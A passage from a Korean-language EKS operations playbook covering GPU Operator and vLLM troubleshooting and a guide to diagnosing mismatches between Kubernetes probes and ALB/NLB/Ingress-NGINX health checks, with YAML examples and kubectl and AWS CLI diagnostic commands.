# gpu-operator-1234567890-abcde 1/1 Running 0 7d
# gpu-feature-discovery-xxxxx 1/1 Running 0 7d
# nvidia-container-toolkit-daemonset-xxxxx 1/1 Running 0 7d
# nvidia-cuda-validator-xxxxx 0/1 Completed 0 7d
# nvidia-dcgm-exporter-xxxxx 1/1 Running 0 7d
# nvidia-device-plugin-daemonset-xxxxx 1/1 Running 0 7d
# nvidia-driver-daemonset-xxxxx 1/1 Running 0 7d
# nvidia-operator-validator-xxxxx 1/1 Running 0 7d
```
### Driver Pod 로그 확인
```bash
# Driver 설치 실패 시
kubectl logs -n gpu-operator nvidia-driver-daemonset-
# 일반적인 에러:
# 1. "Kernel headers not found" → 노드 AMI에 kernel-devel 패키지 필요
# 2. "Driver compilation failed" → 커널 버전과 드라이버 호환성 확인
# 3. "nouveau driver is loaded" → nouveau 드라이버 블랙리스트 필요 (AMI 빌드 시)
```
### Device Plugin 로그 확인
```bash
# Device Plugin이 GPU를 감지하지 못할 때
kubectl logs -n gpu-operator nvidia-device-plugin-daemonset-
# 정상 로그:
# "Detected NVIDIA devices: 8"
# "Device: 0, Name: NVIDIA H100 80GB HBM3, UUID: GPU-xxxxx"
# 에러 로그:
# "No NVIDIA devices found" → nvidia-smi 확인, Driver 설치 확인
```
## EKS Auto Mode에서의 GPU
:::warning Auto Mode GPU 제약
EKS Auto Mode는 GPU Driver를 자동 관리하므로, **GPU Operator를 설치하면 안 됩니다**.
대신 AWS가 관리하는 드라이버를 사용하되, Device Plugin은 비활성화해야 합니다.
:::
### Auto Mode GPU 설정
```yaml
# MNG에 GPU Operator 설치 시 (Auto Mode + MNG 하이브리드)
# ClusterPolicy에서 Device Plugin 비활성화 필수
apiVersion: nvidia.com/v1
kind: ClusterPolicy
metadata:
name: gpu-cluster-policy
spec:
operator:
defaultRuntime: containerd
driver:
enabled: true
devicePlugin:
enabled: false # ← Auto Mode와의 충돌 방지
dcgm:
enabled: true
gfd:
enabled: true
nodeStatusExporter:
enabled: true
```
**Auto Mode + GPU 워크로드 패턴:**
1. **완전 Auto Mode (권장하지 않음)**
- GPU 워크로드 제약 多
- 커스텀 드라이버 설치 불가
2. **하이브리드 (Auto Mode + MNG)**
- Auto Mode: 일반 워크로드
- MNG (GPU): GPU 워크로드 전용
- MNG에 GPU Operator 설치 (`devicePlugin=false`)
- Taint로 분리: `nvidia.com/gpu=true:NoSchedule`
자세한 내용은 [Auto Mode 디버깅](./auto-mode.md)을 참조하세요.
## 진단 명령어 모음
```bash
# === GPU 노드 확인 ===
# nvidia-smi (노드 디버그 Pod에서)
kubectl debug node/ -it --image=nvidia/cuda:12.2.0-base-ubuntu22.04
# 컨테이너 내부에서
nvidia-smi
nvidia-smi -q # 상세 정보
# GPU 리소스 할당
kubectl describe node | grep -A 10 "Allocated resources"
# === GPU Operator ===
# ClusterPolicy 상태
kubectl get clusterpolicy -A -o wide
kubectl describe clusterpolicy gpu-cluster-policy
# GPU Operator Pod 상태
kubectl get pods -n gpu-operator -o wide
# Driver Pod 로그
kubectl logs -n gpu-operator -l app=nvidia-driver-daemonset --tail=100
# Device Plugin 로그
kubectl logs -n gpu-operator -l app=nvidia-device-plugin-daemonset --tail=100
# DCGM Exporter 로그 (메트릭 문제 시)
kubectl logs -n gpu-operator -l app=nvidia-dcgm-exporter --tail=100
# === vLLM Pod 디버깅 ===
# vLLM 시작 로그 (메모리 할당 확인)
kubectl logs | head -50
# NCCL 디버그 로그
kubectl logs | grep NCCL
# GPU 메모리 사용량 (Pod 내부에서)
kubectl exec -it -- nvidia-smi
# === 네트워크 디버깅 (멀티노드 학습) ===
# Pod 간 통신 테스트
kubectl run -it --rm debug --image=nicolaka/netshoot -- bash
# 컨테이너 내부에서
nc -zv 12345
# Security Group 확인 (노드 수준)
aws ec2 describe-security-groups --group-ids
# === NCCL 테스트 ===
# NCCL all-reduce 테스트 (멀티 GPU)
kubectl exec -it -- python -c "
import torch
import torch.distributed as dist
dist.init_process_group(backend='nccl')
tensor = torch.ones(1).cuda()
dist.all_reduce(tensor)
print(f'Success: {tensor.item()}')
"
```
## 문제별 체크리스트
### "GPU not found" (nvidia-smi 실패)
- [ ] Driver가 설치되었는가? (`lsmod | grep nvidia`)
- [ ] GPU Operator ClusterPolicy가 Ready인가?
- [ ] Driver DaemonSet Pod가 Running인가?
- [ ] 노드에 `nvidia.com/gpu.present=true` 레이블이 있는가?
### "Insufficient nvidia.com/gpu" (스케줄링 실패)
- [ ] Device Plugin Pod가 Running인가?
- [ ] `kubectl describe node`에서 `nvidia.com/gpu` 리소스가 보이는가?
- [ ] Auto Mode에서 `devicePlugin=false` 설정했는가?
- [ ] Pod의 GPU 요청이 노드의 GPU 수를 초과하지 않는가?
### vLLM OOM
- [ ] `gpu_memory_utilization` 값이 적절한가? (기본 0.9)
- [ ] `max_model_len`이 과도하게 크지 않은가?
- [ ] `tensor-parallel-size`가 GPU 수와 일치하는가?
- [ ] 모델 크기가 GPU 메모리에 맞는가?
### NCCL Timeout (멀티노드)
- [ ] Security Group에서 모든 노드 간 통신이 허용되는가?
- [ ] EFA가 필요한 경우 EFA Device Plugin이 설치되었는가?
- [ ] `NCCL_SOCKET_IFNAME`이 올바른 네트워크 인터페이스를 가리키는가?
- [ ] `WORLD_SIZE`, `RANK` 환경변수가 올바르게 설정되었는가?
## 참고 자료
- [Auto Mode 디버깅](./auto-mode.md) - Auto Mode 환경에서의 GPU 제약 및 해결 방법
- [노드 디버깅](./node.md) - 노드 수준 문제 진단
- [NVIDIA GPU Operator 공식 문서](https://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/)
- [vLLM 공식 문서](https://docs.vllm.ai/)
---
# Probe vs Health Check 불일치 디버깅
> K8s Probe와 ALB/NLB/Ingress Controller Health Check의 메커니즘 차이 및 timeout 불일치로 인한 장애 진단 가이드
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging/health-check-mismatch
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, debugging, health-check, probe, alb, nlb, ingress
> **📌 기준 환경**: EKS 1.33+, AWS Load Balancer Controller v2.9+, Ingress-NGINX v1.11+
## 1. 개요
Kubernetes Probe와 Load Balancer/Ingress Controller의 Health Check는 **독립적으로 실행**되며, **서로 다른 메커니즘과 타이밍**을 가집니다. 이로 인한 불일치는 다음과 같은 장애를 유발합니다:
- **503 Service Unavailable**: Probe는 성공하지만 ALB Health Check 실패
- **502 Bad Gateway**: Graceful Shutdown 시퀀스 불일치로 종료 중인 Pod로 트래픽 전송
- **일시적 장애**: Rolling Update 중 새 Pod가 준비되기 전에 트래픽 수신
- **504 Gateway Timeout**: Ingress 타임아웃과 백엔드 응답 시간 불일치
본 문서는 K8s Probe와 ALB/NLB/Ingress Health Check의 메커니즘 차이를 명확히 하고, 빈발하는 불일치 패턴별 진단 방법과 권장 설정을 제공합니다.
:::tip 관련 문서 참조
- **Probe 기초**: [Pod 헬스체크 & 라이프사이클](../eks-pod-health-lifecycle.md) — Probe 설정 상세
- **네트워킹 디버깅**: [네트워킹 문제 해결](#) — Service/DNS 이슈 (추후 작성 예정)
- **고가용성**: [EKS 고가용성 아키텍처 가이드](../eks-resiliency-guide.md) — PDB, Graceful Shutdown
:::
---
## 2. 메커니즘 비교: Probe vs Health Check
### 2.1 Kubernetes Probe (kubelet 실행)
Kubernetes Probe는 **kubelet**이 각 노드에서 독립적으로 실행하는 헬스 체크입니다.
| Probe 유형 | 실행 주체 | 체크 대상 | 실패 시 동작 |
|-----------|----------|----------|-------------|
| **readinessProbe** | kubelet | 컨테이너 | Service Endpoints에서 **제거** (Pod는 살아있음) |
| **livenessProbe** | kubelet | 컨테이너 | 컨테이너 **재시작** (SIGTERM → SIGKILL) |
| **startupProbe** | kubelet | 컨테이너 | 초기화 완료 전 다른 Probe 비활성화, 실패 시 재시작 |
**핵심 특징:**
- **Pod 내부에서 실행**: kubelet이 컨테이너에 직접 접근
- **Service Endpoint 제어**: readinessProbe 실패 → `kubectl get endpoints` 목록에서 제거
- **빠른 체크**: 기본 1초 timeout, 10초 간격
### 2.2 AWS Load Balancer Health Check
AWS Load Balancer Controller(LBC)가 관리하는 ALB/NLB Health Check는 **AWS 인프라 레벨**에서 독립적으로 실행됩니다.
| Health Check 유형 | 실행 주체 | 체크 대상 | 실패 시 동작 |
|------------------|----------|----------|-------------|
| **ALB Target Group HC** | ALB | HTTP(S) endpoint | Target Group에서 **deregister** (Pod 상태와 무관) |
| **NLB Target Group HC** | NLB | TCP or HTTP | Target Group에서 **deregister** |
**핵심 특징:**
- **외부에서 실행**: ALB/NLB가 Pod IP로 HTTP/TCP 요청
- **독립적 설정**: K8s Probe와 별도로 interval, timeout, threshold 설정
- **느린 체크**: 기본 5초 timeout, 15-30초 간격
### 2.3 Ingress-NGINX Health Check
Ingress-NGINX Controller는 **nginx upstream** 레벨에서 헬스 체크를 수행합니다.
| Health Check 유형 | 실행 주체 | 체크 대상 | 실패 시 동작 |
|------------------|----------|----------|-------------|
| **upstream health** | nginx process | HTTP backend | `proxy_next_upstream` 동작 (다른 upstream으로 재시도) |
**핵심 특징:**
- **nginx process 내부**: L7 프록시 레벨 체크
- **timeout 설정**: `proxy-read-timeout`, `proxy-send-timeout` (기본 60초)
- **암묵적 체크**: 별도 health check endpoint 없이 실제 요청 결과로 판단
---
## 3. 타이밍 비교표
다음 표는 각 Health Check의 기본 타이밍과 체크 주체, 실패 시 동작을 비교합니다.
| 설정 | K8s Probe | ALB Health Check | NLB Health Check | Ingress-NGINX |
|------|----------|-----------------|-----------------|---------------|
| **기본 interval** | 10s | 15s | 30s | - (실제 트래픽) |
| **기본 timeout** | 1s | 5s | 6s | 60s (proxy_read_timeout) |
| **실패 threshold** | 3 | 2 (unhealthy) | 3 | - |
| **체크 주체** | kubelet | ALB | NLB | nginx process |
| **실패 시 동작** | Endpoints 제거 | TG deregister | TG deregister | upstream 제거 후 재시도 |
| **체크 경로** | `/healthz` 등 | `/` 또는 커스텀 | TCP 또는 HTTP | 실제 요청 경로 |
| **설정 위치** | Pod spec | Service annotation | Service annotation | Ingress annotation |
**타이밍 불일치의 핵심:**
- **ALB는 K8s보다 느리게 체크**: 15초 간격 vs 10초 간격
- **ALB timeout이 더 김**: 5초 vs 1초 → Probe는 통과하지만 ALB는 실패 가능
- **체크 경로 불일치**: readinessProbe `/healthz` ≠ ALB Health Check `/`
---
## 4. 빈발 불일치 패턴
### 패턴 1: Probe 성공 + ALB Health Check 실패 → 503
**증상:**
- `kubectl get pods` → Pod는 `Running`, `Ready 1/1`
- `kubectl get endpoints` → Endpoints에 Pod IP 존재
- 실제 요청 → `503 Service Unavailable`
**근본 원인:**
1. **Health Check 경로 불일치** (가장 흔함)
- readinessProbe: `GET /healthz` → 200 OK
- ALB Target Group HC: `GET /` → 404 Not Found
- **결과**: K8s는 Ready 판정, ALB는 Unhealthy 판정
2. **타임아웃 불일치**
- readinessProbe timeout 1초 → 앱이 800ms에 응답
- ALB HC timeout 5초 내에 앱이 응답 못함 (예: DB 쿼리 지연)
3. **Security Group 설정 오류**
- ALB → Pod CIDR 트래픽 차단
- kubelet은 노드 내부에서 체크 (통과), ALB는 외부에서 체크 (실패)
**진단 플로우:**
```mermaid
flowchart TD
START[503 Service Unavailable 발생] --> CHECK_POD{kubectl get pods
Pod Ready?}
CHECK_POD -->|Ready 1/1| CHECK_EP{kubectl get endpoints
Pod IP 존재?}
CHECK_POD -->|Not Ready| FIX_PROBE[Probe 설정 수정]
CHECK_EP -->|존재함| CHECK_TG{aws elbv2
describe-target-health
Target Healthy?}
CHECK_EP -->|없음| FIX_PROBE
CHECK_TG -->|healthy| CHECK_SG[Security Group 확인]
CHECK_TG -->|unhealthy| PATH_MISMATCH{HC Path 일치?}
PATH_MISMATCH -->|불일치| FIX_PATH[Service annotation
health-check-path 수정]
PATH_MISMATCH -->|일치| TIMEOUT{Timeout 설정?}
TIMEOUT -->|ALB timeout 짧음| FIX_TIMEOUT[health-check-timeout
증가]
TIMEOUT -->|정상| CHECK_SG
CHECK_SG --> CHECK_APP[애플리케이션 로그 확인]
FIX_PATH --> VERIFY[검증]
FIX_TIMEOUT --> VERIFY
CHECK_APP --> VERIFY
style START fill:#ff4444,stroke:#cc3636,color:#fff
style FIX_PATH fill:#34a853,stroke:#2a8642,color:#fff
style FIX_TIMEOUT fill:#34a853,stroke:#2a8642,color:#fff
style VERIFY fill:#4286f4,stroke:#2a6acf,color:#fff
```
**해결책:**
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
annotations:
# ALB Health Check 경로를 readinessProbe와 통일
alb.ingress.kubernetes.io/healthcheck-path: /healthz
alb.ingress.kubernetes.io/healthcheck-interval-seconds: "15"
alb.ingress.kubernetes.io/healthcheck-timeout-seconds: "5"
alb.ingress.kubernetes.io/healthy-threshold-count: "2"
alb.ingress.kubernetes.io/unhealthy-threshold-count: "2"
spec:
type: LoadBalancer
ports:
- port: 80
targetPort: 8080
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: my-app
spec:
template:
spec:
containers:
- name: app
image: my-app:1.0
ports:
- containerPort: 8080
readinessProbe:
httpGet:
path: /healthz # ALB HC 경로와 일치
port: 8080
initialDelaySeconds: 10
periodSeconds: 10
timeoutSeconds: 1
failureThreshold: 3
```
### 패턴 2: Graceful Shutdown 시 502 Bad Gateway
**증상:**
- Pod 종료 중에 `502 Bad Gateway` 발생
- 일부 요청만 실패 (간헐적)
**근본 원인:**
Pod 종료 시퀀스와 ALB deregistration 타이밍 불일치로 **종료 중인 Pod로 트래픽 전송**
**Pod 종료 시퀀스:**
1. `kubectl delete pod` 또는 Rolling Update 시작
2. Pod status → `Terminating`
3. **동시에 두 가지 동작:**
- kubelet: `preStop` hook 실행 → `SIGTERM` 전송
- kube-proxy: Endpoints에서 Pod 제거 (iptables 규칙 업데이트)
4. `terminationGracePeriodSeconds` (기본 30초) 대기
5. `SIGKILL`로 강제 종료
**ALB deregistration 시퀀스:**
1. ALB가 Target Group에서 Pod 제거 요청 수신
2. `deregistration_delay` (기본 300초) 동안 대기
3. 대기 중에도 기존 연결은 유지 (connection draining)
4. 300초 후 Target 완전 제거
**문제 상황:**
```
시간축:
T+0s Pod Terminating, preStop 실행 (없으면 즉시 SIGTERM)
T+0s ALB deregistration 시작 (하지만 300초 대기)
T+0s SIGTERM 전송 → 앱이 즉시 종료 시작
T+1s 앱 프로세스 종료
T+1s~ ALB가 아직 connection draining 중 → 502 발생
T+30s terminationGracePeriodSeconds 도달 → SIGKILL
T+300s ALB deregistration 완료
```
**권장 설정 공식:**
```
terminationGracePeriodSeconds > deregistration_delay + preStop_duration + app_shutdown_time
```
예시: `deregistration_delay=15s`, `preStop=10s`, `app_shutdown=5s`
→ `terminationGracePeriodSeconds=40s` 이상
**진단 플로우:**
```mermaid
flowchart TD
START[502 Bad Gateway
Pod 종료 중] --> CHECK_TIMING{preStop hook 존재?}
CHECK_TIMING -->|없음| ADD_PRESTOP[preStop sleep 15 추가]
CHECK_TIMING -->|있음| CHECK_GRACE{terminationGracePeriodSeconds
충분?}
CHECK_GRACE -->|짧음| INCREASE_GRACE[terminationGracePeriodSeconds
증가]
CHECK_GRACE -->|충분| CHECK_DEREG{ALB deregistration_delay
설정?}
CHECK_DEREG -->|300s 기본값| DECREASE_DEREG[deregistration_delay
감소 15-30s]
CHECK_DEREG -->|이미 짧음| CHECK_SIGTERM{SIGTERM 핸들러
구현?}
ADD_PRESTOP --> VERIFY[검증:
kubectl delete pod 테스트]
INCREASE_GRACE --> VERIFY
DECREASE_DEREG --> VERIFY
CHECK_SIGTERM --> IMPLEMENT_SIGTERM[언어별 Graceful Shutdown
구현]
IMPLEMENT_SIGTERM --> VERIFY
style START fill:#ff4444,stroke:#cc3636,color:#fff
style ADD_PRESTOP fill:#34a853,stroke:#2a8642,color:#fff
style VERIFY fill:#4286f4,stroke:#2a6acf,color:#fff
```
**해결책:**
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
annotations:
# ALB deregistration delay 단축 (기본 300초 → 15초)
alb.ingress.kubernetes.io/target-group-attributes: deregistration_delay.timeout_seconds=15
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: my-app
spec:
template:
spec:
terminationGracePeriodSeconds: 40 # preStop + deregistration + shutdown
containers:
- name: app
image: my-app:1.0
lifecycle:
preStop:
exec:
command:
- /bin/sh
- -c
- |
# 1. ALB가 deregistration을 감지할 시간 확보
sleep 15
# 2. 애플리케이션에 종료 신호 (선택)
# curl -X POST localhost:8080/shutdown
# 애플리케이션은 SIGTERM을 받아 graceful shutdown 수행
```
**언어별 SIGTERM 핸들러 예시 (Node.js):**
```javascript
// server.js
const express = require('express');
const app = express();
const server = app.listen(8080);
// 진행 중인 요청 추적
let isShuttingDown = false;
app.use((req, res, next) => {
if (isShuttingDown) {
res.setHeader('Connection', 'close');
return res.status(503).send('Server is shutting down');
}
next();
});
// SIGTERM 핸들러
process.on('SIGTERM', () => {
console.log('SIGTERM received, starting graceful shutdown');
isShuttingDown = true;
server.close(() => {
console.log('All connections closed, exiting');
process.exit(0);
});
// 강제 종료 타임아웃 (25초 후)
setTimeout(() => {
console.error('Forced shutdown after timeout');
process.exit(1);
}, 25000);
});
```
### 패턴 3: Rolling Update 시 일시적 503
**증상:**
- `kubectl rollout status` 중 간헐적 503
- 새 Pod는 `Running`, `Ready`, 하지만 일부 요청 실패
**근본 원인:**
ALB Health Check가 **통과하기 전에** K8s가 Pod를 "Ready" 상태로 판정하여 트래픽 전송
**타이밍 불일치:**
```
T+0s 새 Pod 시작
T+10s readinessProbe 성공 (첫 체크 10초 후)
T+10s K8s Endpoints에 Pod 추가 → ALB에 Target 등록 요청
T+10s K8s가 구 Pod로 트래픽 전송 중지
T+15s ALB 첫 Health Check 실행
T+30s ALB Health Check 2회 성공 (healthy threshold=2)
T+30s ALB가 새 Pod로 트래픽 전송 시작
문제: T+10s ~ T+30s 구간에서 새 Pod 준비 전 트래픽 → 503
```
**진단 플로우:**
```mermaid
flowchart TD
START[Rolling Update 중
일시적 503] --> CHECK_MINREADY{minReadySeconds
설정?}
CHECK_MINREADY -->|0 (기본)| SET_MINREADY[minReadySeconds ≥
ALB HC interval × threshold
예: 15s × 2 = 30s]
CHECK_MINREADY -->|설정됨| CHECK_READINESS{readinessProbe
충분히 엄격?}
CHECK_READINESS -->|너무 관대| STRICT_PROBE[failureThreshold 감소
1-2로 설정]
CHECK_READINESS -->|엄격함| CHECK_MAXUNAVAIL{maxUnavailable
설정?}
CHECK_MAXUNAVAIL -->|너무 큼| ADJUST_MAXUNAVAIL[maxUnavailable 감소
25% 또는 1]
CHECK_MAXUNAVAIL -->|적절| CHECK_PDB{PodDisruptionBudget
설정?}
SET_MINREADY --> VERIFY[검증:
kubectl rollout restart]
STRICT_PROBE --> VERIFY
ADJUST_MAXUNAVAIL --> VERIFY
CHECK_PDB --> ADD_PDB[PDB 추가
minAvailable: 50%]
ADD_PDB --> VERIFY
style START fill:#ff4444,stroke:#cc3636,color:#fff
style SET_MINREADY fill:#34a853,stroke:#2a8642,color:#fff
style VERIFY fill:#4286f4,stroke:#2a6acf,color:#fff
```
**해결책:**
```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: my-app
spec:
replicas: 4
strategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 1 # 한 번에 1개씩만 종료
maxSurge: 1 # 한 번에 1개씩만 추가
# 핵심: ALB Health Check 통과 대기
minReadySeconds: 30 # ALB HC interval(15s) × threshold(2) = 30s
template:
spec:
containers:
- name: app
image: my-app:2.0
readinessProbe:
httpGet:
path: /healthz
port: 8080
initialDelaySeconds: 5
periodSeconds: 5
timeoutSeconds: 1
failureThreshold: 2 # 엄격하게 체크
successThreshold: 1
---
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: my-app-pdb
spec:
minAvailable: 2 # 최소 50% 유지
selector:
matchLabels:
app: my-app
```
### 패턴 4: NLB + externalTrafficPolicy: Local
**증상:**
- NLB 사용 시 일부 요청 타임아웃
- `externalTrafficPolicy: Local` 설정 시 Health Check 실패
**근본 원인:**
NLB는 **모든 노드**에 트래픽 전송하지만, `externalTrafficPolicy: Local`은 **Pod가 있는 노드**만 응답
**동작 방식:**
| externalTrafficPolicy | Client IP 보존 | Health Check | 트래픽 분배 |
|----------------------|---------------|-------------|-----------|
| **Cluster (기본)** | ❌ (SNAT) | 모든 노드 healthy | 균등 분배 → 노드 간 hop 발생 |
| **Local** | ✅ | Pod 있는 노드만 healthy | 불균등 분배 (Pod 수에 비례) |
**문제 상황:**
```
노드 1: Pod A, Pod B → NLB HC 성공 → 트래픽 수신
노드 2: Pod 없음 → NLB HC 실패 → TG에서 제거
노드 3: Pod C → NLB HC 성공 → 트래픽 수신
문제: 노드 1이 2배 트래픽 수신 (불균등)
```
**진단 및 해결:**
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
annotations:
service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
# NLB Health Check 설정
service.beta.kubernetes.io/aws-load-balancer-healthcheck-protocol: "http"
service.beta.kubernetes.io/aws-load-balancer-healthcheck-path: "/healthz"
service.beta.kubernetes.io/aws-load-balancer-healthcheck-interval: "10"
service.beta.kubernetes.io/aws-load-balancer-healthcheck-timeout: "6"
service.beta.kubernetes.io/aws-load-balancer-healthcheck-healthy-threshold: "2"
service.beta.kubernetes.io/aws-load-balancer-healthcheck-unhealthy-threshold: "2"
spec:
type: LoadBalancer
# Client IP 보존 vs 균등 분배 선택
externalTrafficPolicy: Local # Client IP 필요 시
# externalTrafficPolicy: Cluster # 균등 분배 필요 시
ports:
- port: 80
targetPort: 8080
```
**권장 사항:**
- **Client IP 필요**: `Local` + 충분한 Pod 수 (노드당 최소 1개)
- **균등 분배 우선**: `Cluster` + X-Forwarded-For 헤더로 Client IP 추출
### 패턴 5: Ingress-NGINX upstream timeout
**증상:**
- `504 Gateway Timeout` 발생
- 파일 업로드, 배치 API 실패
- `413 Request Entity Too Large` (파일 크기 초과)
**근본 원인:**
Ingress-NGINX의 `proxy-read-timeout` (기본 60초)가 백엔드 처리 시간보다 짧음
**진단 및 해결:**
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: my-ingress
annotations:
# Timeout 설정 (초 단위)
nginx.ingress.kubernetes.io/proxy-read-timeout: "300" # 백엔드 응답 대기
nginx.ingress.kubernetes.io/proxy-send-timeout: "300" # 백엔드로 전송 대기
nginx.ingress.kubernetes.io/proxy-connect-timeout: "10" # 백엔드 연결 대기
# 파일 업로드 크기 제한 (기본 1m)
nginx.ingress.kubernetes.io/proxy-body-size: "100m"
# 버퍼 설정 (대용량 응답)
nginx.ingress.kubernetes.io/proxy-buffer-size: "8k"
nginx.ingress.kubernetes.io/proxy-buffers-number: "4"
spec:
ingressClassName: nginx
rules:
- host: api.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: my-service
port:
number: 80
```
**배치 API 전용 Ingress 분리:**
```yaml
# 일반 API (짧은 timeout)
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: api-ingress
annotations:
nginx.ingress.kubernetes.io/proxy-read-timeout: "60"
spec:
rules:
- host: api.example.com
http:
paths:
- path: /api
pathType: Prefix
backend:
service:
name: api-service
port:
number: 80
---
# 배치 API (긴 timeout)
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: batch-ingress
annotations:
nginx.ingress.kubernetes.io/proxy-read-timeout: "1800" # 30분
nginx.ingress.kubernetes.io/proxy-body-size: "1g"
spec:
rules:
- host: api.example.com
http:
paths:
- path: /batch
pathType: Prefix
backend:
service:
name: batch-service
port:
number: 80
```
---
## 5. 권장 설정 가이드
### 5.1 통일 원칙: 경로와 포트 일치
**원칙:**
- ALB/NLB Health Check 경로 = readinessProbe 경로
- Health Check 포트 = Service targetPort
- Probe timeout < ALB HC timeout (Probe가 더 빠르게 감지)
**템플릿:**
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
annotations:
# ALB Health Check 설정
alb.ingress.kubernetes.io/healthcheck-path: /healthz
alb.ingress.kubernetes.io/healthcheck-port: traffic-port
alb.ingress.kubernetes.io/healthcheck-protocol: HTTP
alb.ingress.kubernetes.io/healthcheck-interval-seconds: "15"
alb.ingress.kubernetes.io/healthcheck-timeout-seconds: "5"
alb.ingress.kubernetes.io/healthy-threshold-count: "2"
alb.ingress.kubernetes.io/unhealthy-threshold-count: "2"
# Graceful Shutdown 설정
alb.ingress.kubernetes.io/target-group-attributes: deregistration_delay.timeout_seconds=15
spec:
type: LoadBalancer
ports:
- port: 80
targetPort: 8080
protocol: TCP
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: my-app
spec:
replicas: 3
strategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 1
maxSurge: 1
minReadySeconds: 30 # ALB HC 통과 대기
template:
spec:
terminationGracePeriodSeconds: 40
containers:
- name: app
image: my-app:1.0
ports:
- containerPort: 8080
name: http
protocol: TCP
# Startup Probe (느린 시작 앱)
startupProbe:
httpGet:
path: /healthz
port: 8080
initialDelaySeconds: 0
periodSeconds: 5
timeoutSeconds: 3
failureThreshold: 30 # 최대 150초 대기
# Liveness Probe (데드락 감지)
livenessProbe:
httpGet:
path: /healthz
port: 8080
initialDelaySeconds: 0 # startupProbe 성공 후 활성화
periodSeconds: 10
timeoutSeconds: 1
failureThreshold: 3
# Readiness Probe (트래픽 수신 제어)
readinessProbe:
httpGet:
path: /healthz # ALB HC와 동일
port: 8080
initialDelaySeconds: 0
periodSeconds: 5
timeoutSeconds: 1
failureThreshold: 2
successThreshold: 1
# Graceful Shutdown
lifecycle:
preStop:
exec:
command:
- /bin/sh
- -c
- sleep 15 # ALB deregistration 대기
---
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: my-app-pdb
spec:
minAvailable: 50%
selector:
matchLabels:
app: my-app
```
### 5.2 종료 시퀀스 공식
```
terminationGracePeriodSeconds = deregistration_delay + preStop_sleep + app_shutdown_buffer
예시:
deregistration_delay = 15s
preStop_sleep = 15s
app_shutdown_buffer = 10s (SIGTERM 처리 + 진행 중 요청 완료)
-------------------
terminationGracePeriodSeconds = 40s
```
### 5.3 타이밍 최적화 매트릭스
| 워크로드 유형 | readinessProbe period | ALB HC interval | minReadySeconds | terminationGracePeriodSeconds |
|-------------|----------------------|----------------|-----------------|------------------------------|
| **Stateless API** | 5s | 15s | 30s | 40s |
| **웹 프론트엔드** | 5s | 15s | 30s | 40s |
| **배치 워커** | 10s | 30s | 60s | 120s |
| **Long-lived 연결** | 10s | 30s | 60s | 300s |
| **gRPC 서비스** | 5s (grpc probe) | 15s (HTTP) | 30s | 40s |
---
## 6. 진단 명령어 모음
### 6.1 K8s Endpoints 확인
```bash
# Service Endpoints 목록
kubectl get endpoints my-service -o wide
# Endpoints 상세 (NotReadyAddresses 확인)
kubectl get endpoints my-service -o yaml
# 특정 Pod가 Endpoints에 있는지 확인
kubectl get endpoints my-service -o json | jq '.subsets[].addresses[] | select(.ip=="10.0.1.100")'
```
### 6.2 ALB Target Group 상태 확인
```bash
# Target Group ARN 확인
kubectl get targetgroupbindings -A
# Target Health 확인
aws elbv2 describe-target-health \
--target-group-arn arn:aws:elasticloadbalancing:... \
--query 'TargetHealthDescriptions[*].[Target.Id,TargetHealth.State,TargetHealth.Reason]' \
--output table
# 특정 Target 상세 (Reason 확인)
aws elbv2 describe-target-health \
--target-group-arn arn:aws:elasticloadbalancing:... \
--targets Id=10.0.1.100,Port=8080
```
**주요 Reason 코드:**
- `Target.FailedHealthChecks`: Health Check 실패
- `Elb.RegistrationInProgress`: 등록 중
- `Target.DeregistrationInProgress`: 해제 중
- `Target.InvalidState`: Pod IP 도달 불가 (SG 문제)
### 6.3 AWS Load Balancer Controller 로그
```bash
# LBC 로그 (Health Check 관련)
kubectl logs -n kube-system deploy/aws-load-balancer-controller --tail=100 | grep -i health
# TargetGroupBinding 이벤트
kubectl describe targetgroupbindings -A
# Service 이벤트 (LoadBalancer 생성 과정)
kubectl describe svc my-service
```
### 6.4 Ingress-NGINX 디버깅
```bash
# Ingress 상태 확인
kubectl describe ingress my-ingress
# nginx-ingress-controller 로그
kubectl logs -n ingress-nginx deploy/ingress-nginx-controller --tail=100
# upstream 설정 확인 (특정 Pod에서)
kubectl exec -n ingress-nginx deploy/ingress-nginx-controller -- cat /etc/nginx/nginx.conf | grep -A 20 "upstream"
# 실시간 액세스 로그
kubectl logs -n ingress-nginx deploy/ingress-nginx-controller --tail=1 -f
```
### 6.5 Pod 상태 및 Probe 결과
```bash
# Pod 상태 및 Ready 조건 확인
kubectl get pods -o wide
kubectl describe pod my-app-7d8f9c-abcde
# Probe 실패 이벤트
kubectl get events --field-selector involvedObject.name=my-app-7d8f9c-abcde
# Pod IP 및 Container 상태
kubectl get pod my-app-7d8f9c-abcde -o json | jq '.status.podIP, .status.containerStatuses[]'
```
### 6.6 Security Group 검증
```bash
# Pod에서 ALB Health Check 시뮬레이션
kubectl exec my-app-7d8f9c-abcde -- curl -v http://localhost:8080/healthz
# 노드에서 Pod로 Health Check
NODE_IP=$(kubectl get node -o json | jq -r '.status.addresses[] | select(.type=="InternalIP") | .address')
POD_IP=$(kubectl get pod my-app-7d8f9c-abcde -o json | jq -r '.status.podIP')
ssh ec2-user@$NODE_IP "curl -v http://$POD_IP:8080/healthz"
# Security Group 규칙 확인
aws ec2 describe-security-groups --group-ids sg-xxxxxxxx
```
---
## 7. 크로스 레퍼런스
### 관련 문서
- **[Pod 헬스체크 & 라이프사이클](../eks-pod-health-lifecycle.md)** — Probe 설정 상세, 언어별 Graceful Shutdown
